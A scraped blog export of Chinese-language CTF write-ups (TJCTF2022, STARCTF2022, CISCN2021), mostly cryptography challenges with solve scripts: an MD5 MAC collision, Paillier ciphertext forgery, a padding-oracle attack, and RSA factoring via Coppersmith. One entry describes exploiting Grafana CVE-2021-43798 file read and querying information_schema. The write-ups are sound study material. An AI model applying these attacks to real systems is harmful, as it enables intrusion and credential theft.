Pollards_p_1(N): l = [] a = 2 n = 2 while True: a = pow(a, n, N) res = gcd(a-1, N) if res != 1 and res != N: l.append(int(res)) l.append(int(N//res)) break n += 1 l.sort() return l mac-master123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051#!/usr/local/bin/python -uimport hashlibimport oswith open("flag.txt") as f: FLAG = f.read()QUERIED = set()KEY = os.urandom(16)print("Introducing Neil-MAC (NMAC), the future of hash-based message")print("authentication codes!")print()print("No longer susceptible to those pesky length extension attacks!")print()def nmac(message): return hashlib.md5(message + KEY).hexdigest()def query(): print("What message would you like to query a tag for?") print("Enter message hex-encoded:") hex_message = input() message = bytes.fromhex(hex_message) QUERIED.add(message) print("Tag:", nmac(message))def challenge(): print("Challenge time!") print("Enter message hex-encoded:") hex_message = input() tag = input("Tag: ") message = bytes.fromhex(hex_message) if message in QUERIED: print("You already queried that message!") elif nmac(message) == tag: print("Nice job!") print("Flag:", FLAG)while True: print("What do you want to do?") print("1) Query a message") print("2) Challenge") match input(): case "1": query() case "2": challenge() break case _: print("???") md5并不安全,其中一个特性是当两个等长的字符串有相同的md5值时,后边同时拼接任何相同字符串之后的字符串,md值仍然不变。 所以只要找到两个长度相同且碰撞的字符串即可。 morph-master1234567891011121314151617181920212223242526272829303132333435363738#!/usr/local/bin/python -ufrom Crypto.Util.number import *N = 1024p = getPrime(N)q = getPrime(N)assert GCD(p * q, (p - 1) * (q - 1)) == 1n = p * qs = n ** 2λ = (p - 1) * (q - 1) // GCD(p - 1, q - 1)g = getRandomRange(1, s)L = lambda x : (x - 1) // nμ = pow(L(pow(g, λ, s)), -1, n)def encrypt(m): r = getRandomRange(1, n) c = (pow(g, m, s) * pow(r, n, s)) % (s) return cdef decrypt(c): m = (L(pow(c, λ, s)) * μ) % n return mprint(f"public key (n, g) = ({n}, ?)")print(f"E(4) = {encrypt(4)}")print()print("Encrypt 'Please give me the flag' for your flag:")c = int(input())m = decrypt(c)if long_to_bytes(m) == b"Please give me the flag": print("Okay!") with open("flag.txt") as f: print(f.read())else: print("Hmm... not quite.") Paillier密码体制。本题需要对字符串Please ive me the flag进行加密,把密文传给服务器获得flag。但我们不知道加密参数r和g。题目给了一个密文: c = g^4*r^n \\mod n^2我们只能由这个密文来构造目标密文。因为直到n,所以可以求出4模n的逆t。 4t\\equiv1\\mod n计算4的密文c的t次方,再将其解密,会发现幂次上4被消掉了。 (g^4*r^n)^{\\lambda.t}\\equiv g^{4t\\lambda} \\equiv g^\\lambda \\mod n^2那么只需要计算4的密文c的m*t次方发送给服务器即可,解密时就只剩下m了。 12345678910from Crypto.Util.number import *from gmpy2 import *n = 21538076603559098667143413455535267098408428473246545075423393122172459194498972157464099306849872941569421465267053513744561026677661497661544612770734541676576605829414499614801302354748794202237919002206625177647331490738602791935148799363634979058468913100639567532013450332320015030994201012069870039792388196426534171135010238584579591736320109952807142590507849679696825603789335797297078948754698326785777189327517749561450412933722331804880397102103649947975088763933263153648021816661566787291685024949023696377378010401474545607096492915701164461941726923716358892676178068913756969474139950757511748251751c = 387554035019947702810813720305012873361942339600887318221278054247638549505531932126482645467956995743723834422099007661913465638309372372580394498558647775087576326037055938025305932930246105968512871804759941339198809082373573688741688603151409854339980722380124655942283190399407616526004159105574934166074114865747762759255199546653778465136743901867874098084335946203182618206186781912113438749934047341921274304083463437523184532213609873313308025727870360382748589557384237474276030749179735540787438451040474139687918889742259170771842255543128043679411223521492636395444747034537138277485794945279336394113471150945850875120070894319639627500633428304283242025646723945866869355232984961527091593861490809755810253806918191058785306481004365415942824771757051168324087484432602718299745076161068951214220460382977416621252844225546925500123859979152352095571556694865035622093466759882835412555109630587220432171621789597794278778658633234219548171031296334662303517965518634197427137478184494384320154372321281172967407022678772510610258824626102587285500342541072164193341798614828904791904016226542182411269842310920109701283819406392869858963673457329215897724970920758064182788606095091473286731709821903356689713204885t = invert(4,n**2)s = b"Please give me the flag"l = bytes_to_long(s)m = t*lprint(pow(c,m,n**2)) 7sckp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566#!/usr/local/bin/python -ufrom Crypto.Cipher import AESfrom Crypto.Random import get_random_bytesimport randomfrom time import timekey = get_random_bytes(16)flag = open('flag.txt', 'rb').read().strip()def pad(msg, block_size): random.seed(seed) # 伪随机数种子 p = b'' pad_len = block_size - (len(msg) % block_size) while len(p) < pad_len: b = bytes([random.randrange(256)]) if b not in p: p += b return msg + pdef unpad(msg, block_size): random.seed(seed) p = b'' while len(p) < block_size: b = bytes([random.randrange(256)]) if b not in p: p += b if p[0] not in msg: raise ValueError('Bad padding') pad_start = msg.rindex(p[0]) # 注意rindex用法 if msg[pad_start:] != p[:len(msg) - pad_start]: raise ValueError('Bad padding') return msg[:pad_start]def encrypt(data): cipher = AES.new(key, AES.MODE_CBC) ct = cipher.encrypt(pad(data, AES.block_size)) return cipher.iv + ctdef decrypt(data): iv = data[:AES.block_size] ct = data[AES.block_size:] cipher = AES.new(key, AES.MODE_CBC, iv=iv) return unpad(cipher.decrypt(ct), AES.block_size)print('Hi! Welcome to our oracle, now extra secure because of our custom padding!')seed = int(time() // 10) # 时间戳作为seedprint('We have this really cool secret here: ' + encrypt(flag).hex())while True: try: decrypt(bytes.fromhex(input("Ciphertext: "))) print("ok") except: print("error!!!") print() ​ 这里的aes的pad方式不是PKCS5/7,但由于seed = int(time() // 10),只要我们在连接服务器以后取一个time(),就能获取到和服务器同步的seed值(//10说明只要在10s内取time(),seed都和服务器一致)。那么利用seed就可以通过random生成同样的伪随机数序列(这里假设为0x01,0x02…)。 ​ 拿到服务器给的密文,可以先把密文前的iv分离出来。然后可以搜索剩余字符串中的最后一个0x01找到padding的起始位置。既然知道iv,那么只要获得cbc解密的中间值(和iv异或之前的值),再把中间值和iv做异或就能拿到flag。下面就是padding attack了,考虑加解密只填充一个字节的情况:我们可以让iv的值前15个字节全是0x00,爆破最后一个字节(遍历2^256次),只要解密出的字符串的最后一个字节为加密时的伪随机数序列的第一个即可(此时服务器返回值为“ok“),那么把当前iv的最后一个字节和0x01异或就能得到中间值的最后一个字节。 ​ 那如何获得倒数第二个字节?考虑加密时填充两个字节的情况:假设填充的是0x01,0x02,由于已知中间值最后一个字节,可以把它和0x02异或得到本轮iv的最后一个字节,那么现在对输入的iv的倒数第二个字节进行爆破,直到服务器返回”ok“,此时iv的倒数第二个字节和0x01的异或值即为中间值的倒数第二个字节。同理可以反复爆破出剩余的中间值,最后做异或得到flag。 ​ 环境关了,没办法用exp打了。 cmplex-secrets123456789101112131415161718192021222324from sage.geometry.hyperbolic_space.hyperbolic_isometry import moebius_transformfrom Crypto.Util.number import long_to_bytesfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import padCC = ComplexField(1000) # 1000控制数字精度M = random_matrix(CC, 2, 2) # 莫比乌斯变换的系数矩阵f = lambda z: moebius_transform(M, z)for _ in range(3): z = CC.random_element() print(f'{z}, {f(z)}')kz = CC.random_element()print(kz)kw = f(kz)mod = 2^128key = (kw.real() * mod).round() % mod # 实部iv = (kw.imag() * mod).round() % mod # 虚部cipher = AES.new(long_to_bytes(key), AES.MODE_CBC, iv=long_to_bytes(iv))flag = open('flag.txt', 'rb').read().strip()print(cipher.encrypt(pad(flag, AES.block_size)).hex()) output: 123450.751252475104902150054380260470082424940942078488589894835886382094520190155911685470371563701050697369544183678751477257366099792755542882738643885424403515309537713563954860359663092864297857722224211735174822128973163115308255633275717637048280034121430229730706501004373373606840613994093199272904 + 0.841861668516763747294345674363435037443728024638358025489205420413810104159006020506652639342846307992268857781065122156824070983948139347566280848043828162904529025108794173434070438994770903784077684729182119999999898429743502486564839408270440285915918786473949066441772595234741831309205651684568*I, 0.201820552659701567278699820457045288901739276475853715712764100364937770257073328213893265099577849805388343984823145356791212924649323204732529753602937115951408753746134803411134175204452068540445902455697100192364440968304237174405996380992768382752192891217816103133892621205190519839564725222336 - 0.423816958824499168732085508644057100988923673137297816050916269940199941289657589117016109479205180610293129190788130020334848589072754129840997885723883185873975039584829641029595055712803537604372394828956037589154549949135860267390135900885507020456790920944606711851387870845794071809212463826331*I0.776514793014311984655381138131509469524119992819474341428630456463062790504804085732082006149990815536681444111523509785092822425698382654446410973046444281734605680914187333689998896693689515515572759566347286867634521643581373917824881234446339954362247273943593098930150187397950843860306622863580 - 0.475941057343914186895589101614692640391909664493116855595391636931715883641297227266824525033304512086494648741752634404427477616507082658573651384315523503299684846939359967818427022483531221272993316410991540493338441862300216790766719914758162337707917622972274977542891277169823499536763125709585*I, -0.0829824818323282231623134481057668754985546957232604522537959371649871583122429186730368826584813431855656529072360381066022438542967328924620815379076055266869158774334279817117785958274749511064133235090193481885185609994694126394591206558758685625397685334044491178052667228923075424247180695156733 - 0.345968105333553918003350791800133871917169258067196813155704860190219573649329520234046050433552655043308191278482739184238585083866790899409442542622314116242407901893394617331646886924568686923321775812031833527308561174363131001702994010093133515271661218024100064870678806860802831198736170237818*I-0.663391286734319736221346827623975650876654174129163479999853756391523203053535380294499772727456329988663661017976540801565872590854885766890888718844237565749376595356449959916640884087636566696028558587824118362193073284962397122081289899459328925814593804377359288230153455767585281669116316313838 - 0.541972552032528264213207333690290306273643909443286376166758545232778816979109002956992498760686744632107620506460722001053633042992521936775229761220922161685536981820475802554464255845679826910500220248396022338451861954865035006422732330447426553673873063666046382284940947655478871891111612590363*I, -0.581553240882262142181162436851132289784778023925017966570121189620721985017340981461901293038675551540555862372770197898969554728546495567114247578757093239302052370860105596035152108951138049420348497070193324989773752109127977897835841630760517346911518784515371336885087578772556126040706025016486 - 0.148891000802543728193673210236342762919468936522408931382020735274855877447158050594952372999611361659214905876927902350126036191702513383200942854542901034359507175169802518275202909250334785751232390353915118390153035895526806899854120766226305502441103032328925290052995543903563706593391160092495*I-0.0968534235652319724025450700698245234813539980041800600675421557470079496692551704865634640081720474347208421764841452873771406009576502860884618489512416419757653899190683903143407896055069135527721841815213047414891185198812567191127563886853563460067525848162939956023227470365024430670027432479732 + 0.719846481319096444790392680396336625594155249590319099592967249434838543457064356759442590295332754722430981682955876722774704123394791814708454569343858536944427455385194480750097647064579948613218733596833670889225422205686067565808161860977900582097779526341740619742016067509756290527564777944900*I02c0142e94bdb20796edd08352ffe716a03afdffc2926c99e79620873a47f5149a67213d8c97b53fce16fb78f66c28cd ​ 纯数学问题了,就作为了解吧。 ​ 题目是一个默比乌斯变换,大致理解了下,就是一类从黎曼球面映射到自身的函数,可以用扩展复平面上的复数表示。 ​ 给了三组函数的映射值(z和f(z)),我们需要求出系数矩阵,然后计算kz对应的函数值。由于此函数的复比不变性: \\frac{(z_1-z_3)(z_2-z_4)}{(z_1-z_4)(z_2-z_3)}=\\frac{(w_1-w_3)(w_2-w_4)}{(w_1-w_4)(w_2-w_3)}​ 可以推导: (z_1-z_3)(z_2-z_4)(w_2-w_3)(w_1-w_4)=(z_1-z_4)(z_2-z_3)(w_1-w_3)(w_2-w_4) A=(z_1-z_3)(z_2-z_4)(w_2-w_3),B=(z_1-z_4)(z_2-z_3)(w_1-w_3)​ 所以: w_4=\\frac{Aw_1-Bw_2}{A-B}1234567891011121314151617181920z1,w1 = 0.751252475104902150054380260470082424940942078488589894835886382094520190155911685470371563701050697369544183678751477257366099792755542882738643885424403515309537713563954860359663092864297857722224211735174822128973163115308255633275717637048280034121430229730706501004373373606840613994093199272904 + 0.841861668516763747294345674363435037443728024638358025489205420413810104159006020506652639342846307992268857781065122156824070983948139347566280848043828162904529025108794173434070438994770903784077684729182119999999898429743502486564839408270440285915918786473949066441772595234741831309205651684568*I, 0.201820552659701567278699820457045288901739276475853715712764100364937770257073328213893265099577849805388343984823145356791212924649323204732529753602937115951408753746134803411134175204452068540445902455697100192364440968304237174405996380992768382752192891217816103133892621205190519839564725222336 - 0.423816958824499168732085508644057100988923673137297816050916269940199941289657589117016109479205180610293129190788130020334848589072754129840997885723883185873975039584829641029595055712803537604372394828956037589154549949135860267390135900885507020456790920944606711851387870845794071809212463826331*Iz2,w2 = 0.776514793014311984655381138131509469524119992819474341428630456463062790504804085732082006149990815536681444111523509785092822425698382654446410973046444281734605680914187333689998896693689515515572759566347286867634521643581373917824881234446339954362247273943593098930150187397950843860306622863580 - 0.475941057343914186895589101614692640391909664493116855595391636931715883641297227266824525033304512086494648741752634404427477616507082658573651384315523503299684846939359967818427022483531221272993316410991540493338441862300216790766719914758162337707917622972274977542891277169823499536763125709585*I, -0.0829824818323282231623134481057668754985546957232604522537959371649871583122429186730368826584813431855656529072360381066022438542967328924620815379076055266869158774334279817117785958274749511064133235090193481885185609994694126394591206558758685625397685334044491178052667228923075424247180695156733 - 0.345968105333553918003350791800133871917169258067196813155704860190219573649329520234046050433552655043308191278482739184238585083866790899409442542622314116242407901893394617331646886924568686923321775812031833527308561174363131001702994010093133515271661218024100064870678806860802831198736170237818*Iz3,w3 = -0.663391286734319736221346827623975650876654174129163479999853756391523203053535380294499772727456329988663661017976540801565872590854885766890888718844237565749376595356449959916640884087636566696028558587824118362193073284962397122081289899459328925814593804377359288230153455767585281669116316313838 - 0.541972552032528264213207333690290306273643909443286376166758545232778816979109002956992498760686744632107620506460722001053633042992521936775229761220922161685536981820475802554464255845679826910500220248396022338451861954865035006422732330447426553673873063666046382284940947655478871891111612590363*I, -0.581553240882262142181162436851132289784778023925017966570121189620721985017340981461901293038675551540555862372770197898969554728546495567114247578757093239302052370860105596035152108951138049420348497070193324989773752109127977897835841630760517346911518784515371336885087578772556126040706025016486 - 0.148891000802543728193673210236342762919468936522408931382020735274855877447158050594952372999611361659214905876927902350126036191702513383200942854542901034359507175169802518275202909250334785751232390353915118390153035895526806899854120766226305502441103032328925290052995543903563706593391160092495*Iz = -0.0968534235652319724025450700698245234813539980041800600675421557470079496692551704865634640081720474347208421764841452873771406009576502860884618489512416419757653899190683903143407896055069135527721841815213047414891185198812567191127563886853563460067525848162939956023227470365024430670027432479732 + 0.719846481319096444790392680396336625594155249590319099592967249434838543457064356759442590295332754722430981682955876722774704123394791814708454569343858536944427455385194480750097647064579948613218733596833670889225422205686067565808161860977900582097779526341740619742016067509756290527564777944900*IA = (w1-w2)*(z-z2)*(z1-z3)B = (w1-w3)*(z1-z2)*(z-z3)kw = ((w3*A) - (w2*B)) / (A-B)mod = 2^128key = (kw.real() * mod).round() % modiv = (kw.imag() * mod).round() % modfrom Crypto.Cipher import AESfrom libnum import n2scipher = AES.new(n2s(int(key)), AES.MODE_CBC, iv=n2s(int(iv)))ct = bytes.fromhex("02c0142e94bdb20796edd08352ffe716a03afdffc2926c99e79620873a47f5149a67213d8c97b53fce16fb78f66c28cd")print(cipher.decrypt(ct))#tjctf{ar3_y0u_a_c1rcl3_0r_a_l1n3?}","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"TJCTF2022","slug":"赛事/TJCTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/TJCTF2022/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"}]},{"title":"STARCTF2022","slug":"starctf2022","date":"2022-05-17T08:04:05.000Z","updated":"2022-07-06T10:03:52.000Z","comments":true,"path":"2022/05/17/starctf2022/","link":"","permalink":"http://example.com/2022/05/17/starctf2022/","excerpt":"​ 参加了*ctf的个人认证,太懒了一直没写blog,这里记录当时答的题顺便复现正赛题目。","text":"​ 参加了*ctf的个人认证,太懒了一直没写blog,这里记录当时答的题顺便复现正赛题目。 Grey(misc)签到题,flag第一部分用stegsolve在Alpha plane3通道看到,第二部分则是在图片的hex数据段最后,第三部分则需要把图片改高一点(crc爆破宽高)再用stegsolve查看。 连起来就是*CTF{Catch_m3_1F_y0u_cAn} oh-my-grafana(web)百度搜索 grafana cve 找到Grafana8.x 任意文件读取;github上面找到一个poc:https://github.com/rnsss/CVE-2021-43798-poc 脚本克隆到本地。 尝试直接打,发现没能成功,貌似是因为文件内容太大poc接受不了那么多数据。于是直接用bp发包来打,在grafana.ini中有用户名和密码。登入之后发现Explore可以执行sql语句,先查询得到表名: 12select 11,group_concat(table_name)from information_schema.tables select 11,22,(select group_concat(table_name) from information_schema.tables where table_schema=database() 最后查表得到flag。 babyRSA(crypto)比赛的时候找到一道类似的题目。但发现不太一样,那题数据特殊,p和q刚好bit-inverse,可以列方程解,这题并不能用相同的方法。 how to do it? 观察会发现,即使p和q之间没有比特相反那么强的关系,异或的关系也不弱(因为我们知道message)。那么可以通过遍历p和q每一位的值,通过异或关系排除一些情况,得到真实的p和q: 1.当p第i位取1的时候,q对应位一定为m_i^1 2.当p第i位取0的时候,q对应位一定为m_i 3.每一轮取值以后都进行现有低位的乘法并把积与n的对应低位比较,若相等,则符合 4.1024轮以后得到p,q的真实值 5.这样的算法大大减少了遍历的可能性,时间复杂度可以接受 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849#!/usr/bin/python# -*- coding: UTF-8 -*-from Crypto.Util.number import *import syssys.setrecursionlimit(2048) # 限制递归深度限制防止崩溃c=0x45875b297ed0fcddbdd85c9c889bd3d6653dd1f1cbe50279935d398bce4ca87157cc1c14c3a44e81266308158d823570d8656edaba84131a33087ba3a62cb7b755f8d92afb6035b8ca1fba457e2b9fed0b83ceaeb87717f8833d46dd49814d3ca0a4030584aa5d203b4d8572385cba79cee7ba24bd4b4633e9578bbeac3a98febc0ec615e645a26f12cbce54c73e30af85cfd6f95014ba669ab6ac8377d527ed31d7c54cebf928f0bc073d04a99ef21f194fc59e34d5127d31014f8c5c304446de80ef72e187b57247208438c7a405a12cde573f1413105f61c6108a19ce652efbbdf1396c4fda121ea764ee782bcf420decfdfcbff473be2cad6ec0c78eabc4n=0x8b5ad91687dde91ef2b06cbe059c43a1523c809f57cd3b868d7f9cb2b8af2ed66b0ceaedbc0f86abb9ca8bc6b4b5ba2a4cd8528a420db8ec2a0cb0d32528959b72575a58a76a47100ed7aa8cf61df4e587c9cf3d914115c0e7feee4c2f993e39962ea31d25e9dd9627bdc14c7526db0e1d2851e68974ad1101794808e187877f2d3e536f764b624312af1d841c7dcbe74c48cc10ccd9659ab968d9e566f222807ebb9e2b9325e2d9af987c9452d2c61c921efcc799378b9cfc524317ecb7e20fa9e37868a0f2670c6022780ea97b156551b86c6bea85d3ea71e34a13935ef120a1d96d88a7aad5501f5cd6467b4f6fdddd15d326aaa35ea17d7e409f9f864f5dmessage='''For the win win win!For the win win win!信じててね 大丈夫あくあ色に染めるよキミと歩くこの未来を'''m=bytes_to_long(bytes(message,encoding="utf-8"))p=0q=0# 遍历每一位def backtrace(i,pi,qi): # 满足p位数为1024时,递归退出 global p,q if i==1024: if n%pi==0: p=pi q=qi print(p,q) return pt=pi+(1<<i) qt=qi+((m&(1<<i))^^(1<<i)) if (pt*qt)%(1<<(i+1))==n%(1<<(i+1)): backtrace(i+1,pt,qt) pt=pi qt=qi+(m&(1<<i)) if (pt*qt)%(1<<(i+1))==n%(1<<(i+1)): backtrace(i+1,pt,qt)var('x,y')for p0,q0 in solve_mod(x*y==n,2048): # 模2就得到1位,mod2048则得到前11位 backtrace(10,int(p0),int(q0)) if p!=0: breake=65537phi=(p-1)*(q-1)d=inverse(e,phi)m=pow(c,d,n)flag=long_to_bytes(int(m)).decode()print(flag)# *CTF{Ship_of_the_new_era_seats_no_man_of_the_past} ezRSA(crypto)思路:对N开方得到p的高位,异或关系得到p中间几位,coppersmith得到p的低位。 q的比特如图所示: 所以对n开方是可以获得p和q的最高124位。 爆破中间位数之前先将p的低900位全设置为1,q的低900位全设置为0,因为p和q的中间bit是相反的。 这里类似于均值不等式,p和q差距越大,乘积越小,所以初始的时候是最小的。所以从高位开始,每次把p的某一位变为0,q的对应位变为1,p和q的乘积是在变大,只要还小于n,就该继续异或赋值变换。而由于现在的低300位p全为1q全为0,不是准确值,经过爆破以后p和q中间部分比特的尾端部分(大概450-300位这一段,具体是多少可以在p高位攻击的时候多次尝试)也是不准确的,因此在最后进行p高位攻击的时候,x比特应该取450左右。 p和q中间有一部分比特值固定不受低300位影响,因为低300位最多只能影响到n的300+1024位,n的某一部分高位和pq的低300位无关。这部分由p和q的高位决定,所以是固定值。 最后p已知高位攻击解rsa即可。 123456789101112131415161718192021222324252627from Crypto.Util.number import *n=0xe78ab40c343d4985c1de167e80ba2657c7ee8c2e26d88e0026b68fe400224a3bd7e2a7103c3b01ea4d171f5cf68c8f00a64304630e07341cde0bc74ef5c88dcbb9822765df53182e3f57153b5f93ff857d496c6561c3ddbe0ce6ff64ba11d4edfc18a0350c3d0e1f8bd11b3560a111d3a3178ed4a28579c4f1e0dc17cb02c3ac38a66a230ba9a2f741f9168641c8ce28a3a8c33d523553864f014752a04737e555213f253a72f158893f80e631de2f55d1d0b2b654fc7fa4d5b3d95617e8253573967de68f6178f78bb7c4788a3a1e9778cbfc7c7fa8beffe24276b9ad85b11eed01b872b74cdc44959059c67c18b0b7a1d57512319a5e84a9a0735fa536f1b3c=0xd7f6c90512bc9494370c3955ff3136bb245a6d1095e43d8636f66f11db525f2063b14b2a4363a96e6eb1bea1e9b2cc62b0cae7659f18f2b8e41fca557281a1e859e8e6b35bd114655b6bf5e454753653309a794fa52ff2e79433ca4bbeb1ab9a78ec49f49ebee2636abd9dd9b80306ae1b87a86c8012211bda88e6e14c58805feb6721a01481d1a7031eb3333375a81858ff3b58d8837c188ffcb982a631e1a7a603b947a6984bd78516c71cfc737aaba479688d56df2c0952deaf496a4eb3f603a46a90efbe9e82a6aef8cfb23e5fcb938c9049b227b7f15c878bd99b61b6c56db7dfff43cd457429d5dcdb5fe314f1cdf317d0c5202bad6a9770076e9b25b1p = (1<<900)-(1<<300)q = 1<<300-1PR.<x> = PolynomialRing(Zmod(n))pm=int(sqrt(n))>>900 # p的高位 124位p = (1<<900)-1q = 1<<300-1p+=pm*(1<<900) # 低位补0再加上(1<<900)-1,现在低位全是1q+=pm*(1<<900) #in the rest place, '1' either belong to p or qfor i in range(899, 301, -1): cur = 1<<i if (p^^cur) * (q^^cur) < n: p ^^= cur q ^^= cur f=x+p # 已知p高位攻击roots=f.small_roots(X=2**450,beta=0.4) p=p+roots[0]q=n//int(p)fn=(p-1)*(q-1)d=pow(65537,-1,fn)print(long_to_bytes(pow(c,d,n)))# *CTF{St.Diana_pls_take_me_with_you!}","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"XCTF","slug":"赛事/XCTF","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/XCTF/"},{"name":"STARCTF2022","slug":"赛事/XCTF/STARCTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/XCTF/STARCTF2022/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"}]},{"title":"CISCN2021","slug":"CISCN2021","date":"2022-05-11T13:49:42.000Z","updated":"2022-05-30T05:21:48.000Z","comments":true,"path":"2022/05/11/CISCN2021/","link":"","permalink":"http://example.com/2022/05/11/CISCN2021/","excerpt":"​ 2021题目比之前难挺多的,卷卷年!","text":"​ 2021题目比之前难挺多的,卷卷年! rsa12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364from Crypto.Util.number import *from gmpy2 import *def gongmogongji(n, c1, c2, e1, e2): def egcd(a, b): if b == 0: return a, 0 else: x, y = egcd(b, a % b) return y, x - (a // b) * y s = egcd(e1, e2) s1 = s[0] s2 = s[1] # 求模反元素 if s1 < 0: s1 = - s1 c1 = invert(c1, n) elif s2 < 0: s2 = - s2 c2 = invert(c2, n) m = pow(c1, s1, n) * pow(c2, s2, n) % n return m# part1c1 = 19105765285510667553313898813498220212421177527647187802549913914263968945493144633390670605116251064550364704789358830072133349108808799075021540479815182657667763617178044110939458834654922540704196330451979349353031578518479199454480458137984734402248011464467312753683234543319955893e1 = 3print(long_to_bytes(iroot(c1,3)[0]))# part2e21 = 17n21 = 111381961169589927896512557754289420474877632607334685306667977794938824018345795836303161492076539375959731633270626091498843936401996648820451019811592594528673182109109991384472979198906744569181673282663323892346854520052840694924830064546269187849702880332522636682366270177489467478933966884097824069977e22 = 65537c21,c22 = 54995751387258798791895413216172284653407054079765769704170763023830130981480272943338445245689293729308200574217959018462512790523622252479258419498858307898118907076773470253533344877959508766285730509067829684427375759345623701605997067135659404296663877453758701010726561824951602615501078818914410959610,91290935267458356541959327381220067466104890455391103989639822855753797805354139741959957951983943146108552762756444475545250343766798220348240377590112854890482375744876016191773471853704014735936608436210153669829454288199838827646402742554134017280213707222338496271289894681312606239512924842845268366950print(long_to_bytes(gongmogongji(n21,c21,c22,e21,e22)))# part3#sage p高位攻击n = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147p_fake = 7117286695925472918001071846973900342640107770214858928188419765628151478620236042882657992902pbits = p_fake.nbits()kbits = 200 # p失去的低位pbar = p_fake * 2 ^ 200PR. < x > = PolynomialRing(Zmod(n))f = x + pbarx0 = f.small_roots(X=2 ^ kbits, beta=0.4)[0]p = x0 + pbarprint(p)c3 = 59213696442373765895948702611659756779813897653022080905635545636905434038306468935283962686059037461940227618715695875589055593696352594630107082714757036815875497138523738695066811985036315624927897081153190329636864005133757096991035607918106529151451834369442313673849563635248465014289409374291381429646n3 = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147p = 11437038763581010263116493983733546014403343859218003707512796706928880848035239990740428334091106443982769386517753703890002478698418549777553268906496423q = n3//passert p*q == n3phi = (p-1)*(q-1)d = invert(e22,phi)print(long_to_bytes(pow(c3,d,n3)))b' \\nO wild West Wind, thou breath of Autum'b"n's being,\\nThou, from whose unseen presence the leaves dead\\nAre driven, like ghosts from an enchanter fleeing,\\nYellow, a"b'nd black, and pale, and hectic red,\\nPestilence-stricken multitudes: O thou,\\nWho chariotest to their dark wintry bed\\n' imageencrypt123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137from Crypto.Util.number import *from hashlib import *def generate(x,r): return round(r*x*(3-x), 6)def get_r(data): for i in range(len(data)-1): r = round(data[i] / round((data[i+1]*(3-data[i+1])),6),1) print("r:",r) # for i in range(len(data)-1): # print(i,generate(data[i],r),data[i+1],(generate(data[i],r)-data[i+1]))def encrypt(pixel,key1,key2,x0,m,n): num = m*n//8 seqs = [] x = x0 bins = '' tmp = [] for i in range(num): x = generate(x,1.2) tmp.append(x) seqs.append(int(x*22000)) for x in seqs: bin_x = bin(x)[2:] if len(bin_x) < 16: bin_x = '0'*(16-len(bin_x))+bin_x bins += bin_x # bins相当于密钥序列 assert(len(pixel) == m*n) cipher = [ 0 for i in range(m) for j in range(n)] for i in range(m): for j in range(n): index = n*i+j # 遍历坐标 ch = int(bins[2*index:2*index+2],2) pix = pixel[index] if ch == 0: pix = (pix^key1)&0xff if ch == 1: pix = (~pix^key1)&0xff if ch == 2: pix = (pix^key2)&0xff if ch == 3: pix = (~pix^key2)&0xff cipher[index] = pix return cipherdef get_nums(): out = [] for i in range(16*16): out.append((testimage[i]^testimage_enc[i])&0xff) print(out)testimage = [205, 237, 6, 158, 24, 119, 213, 32, 74, 151, 142, 186, 57, 28, 113, 62, 165, 20, 190, 37, 159, 137, 196, 44, 97, 37, 7, 222, 220, 95, 4, 66, 0, 28, 199, 142, 95, 105, 119, 232, 250, 215, 60, 162, 91, 211, 63, 30, 91, 108, 217, 206, 80, 193, 230, 42, 221, 71, 136, 115, 22, 176, 91, 57, 61, 3, 87, 73, 250, 121, 51, 72, 83, 120, 77, 199, 236, 190, 249, 116, 45, 6, 134, 110, 149, 94, 214, 232, 153, 213, 119, 98, 81, 203, 240, 114, 240, 29, 122, 188, 156, 53, 128, 185, 40, 147, 245, 204, 47, 101, 80, 229, 41, 150, 28, 195, 25, 235, 119, 6, 192, 8, 73, 255, 159, 172, 77, 94, 254, 104, 236, 219, 141, 91, 195, 162, 97, 56, 252, 173, 163, 43, 167, 214, 50, 73, 115, 190, 254, 53, 61, 77, 138, 192, 15, 4, 190, 27, 37, 108, 101, 135, 90, 215, 106, 243, 112, 111, 106, 89, 143, 150, 185, 142, 192, 176, 48, 138, 164, 185, 61, 77, 72, 0, 17, 203, 210, 71, 186, 49, 162, 250, 218, 219, 195, 63, 248, 220, 155, 180, 219, 132, 219, 94, 144, 247, 211, 95, 70, 227, 222, 31, 69, 24, 13, 216, 185, 108, 137, 57, 186, 211, 55, 27, 158, 241, 223, 21, 134, 106, 152, 127, 187, 245, 246, 131, 176, 177, 228, 100, 112, 11, 84, 61, 193, 42, 41, 69, 229, 145, 254, 138, 3, 153, 123, 31]testimage_enc = [131, 92, 72, 47, 177, 57, 131, 118, 4, 38, 192, 19, 119, 82, 63, 143, 235, 165, 15, 140, 209, 223, 117, 133, 47, 148, 81, 144, 138, 246, 173, 235, 177, 181, 110, 39, 9, 192, 57, 166, 180, 153, 141, 19, 234, 157, 142, 80, 234, 197, 151, 152, 249, 143, 176, 155, 147, 17, 57, 194, 191, 254, 13, 144, 140, 85, 25, 248, 172, 208, 154, 249, 5, 201, 27, 137, 69, 23, 175, 34, 156, 72, 208, 32, 195, 16, 127, 65, 207, 131, 57, 203, 7, 98, 89, 36, 65, 75, 211, 21, 45, 